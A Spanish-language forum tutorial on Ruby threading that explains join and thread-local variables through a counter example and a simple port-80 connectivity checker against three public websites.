#Con join lo que hacemos es esperar a que termine el hilo antes de matarlos. Digamos que con join te aseguras de que se realicen todos los procesos.

VARIABLES:

En los hilos, las variables locales al hilo, son solo accesibles en el propio hilo, ya que no se comparten fuera del mismo. Es decir, las variables que se establecen en el propio hilo no tendran validez fuera. Si queremos utilizar variables del hilo fuera del mismo, es decir, si queremos que estas variables tengan validez fuera del hilo, tenemos que tratar el objeto del hilo como si fuera un hash, guardandolo mediante []= y llamandolo mediante []. Veamoslo:
Código: ruby
count = 0
arr = []
10.times do |i|
  arr[i] = Thread.new {
    sleep(rand(0)/10.0)
    Thread.current["mycount"] = count # Asignamos la variable count a la llave del hash "mycount", que se guarda en hilo.
    count += 1
  }
end
arr.each {|t| t.join; print t["mycount"], ", " }
puts "count = #{count}"

Esto producira:
Citar8, 0, 3, 7 2, 1, 6, 5, 4, 9, count = 10


Vamos a poner otro ejemplo para que lo comprendeis mejor. Supongamos que tenemos un scanner de puertos y queremos imprimir la variable <a> fuera del hilo:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 80)
   rescue
   a= "80 cerrado en #{x}"
   else
   a= "80 abierto en #{x}"
   end
   }
end

hilo.each{|ele| ele.join}
puts a

Esto daria como resultado un mensaje de error advirtiendonos de que la variable <a> no ha sido definida:
Citarhilos.rb:20: undefined local variable or method `a' for main:Object (NameError)
Para solventar este problema hariamos lo siguiente:
Código: ruby
require 'socket'

paginas=['www.code-makers.es', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 p?ginas.

hilo=Array.new

for pag in paginas
   hilo<<Thread.new(pag){|x|
   begin
   TCPSocket.new(x, 80)
   rescue
   a= "80 cerrado en #{x}"
   else
   a= "80 abierto en #{x}"
   end
   Thread.current["#{x}"]=a # Asignamos la variable <a> a la llave del hash x (que ser? la p?gina web que se est? escaneando en ese momento), y la guardamos en hilo.
   }
end


Esto nos daria un resultado positivo:
Citar80 abierto en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creo que con estos dos ejemplos han quedado claras las variables.
Documentacion

Documentacion oficial.(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
Mis documentacion.(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
AUTOR: sh4van3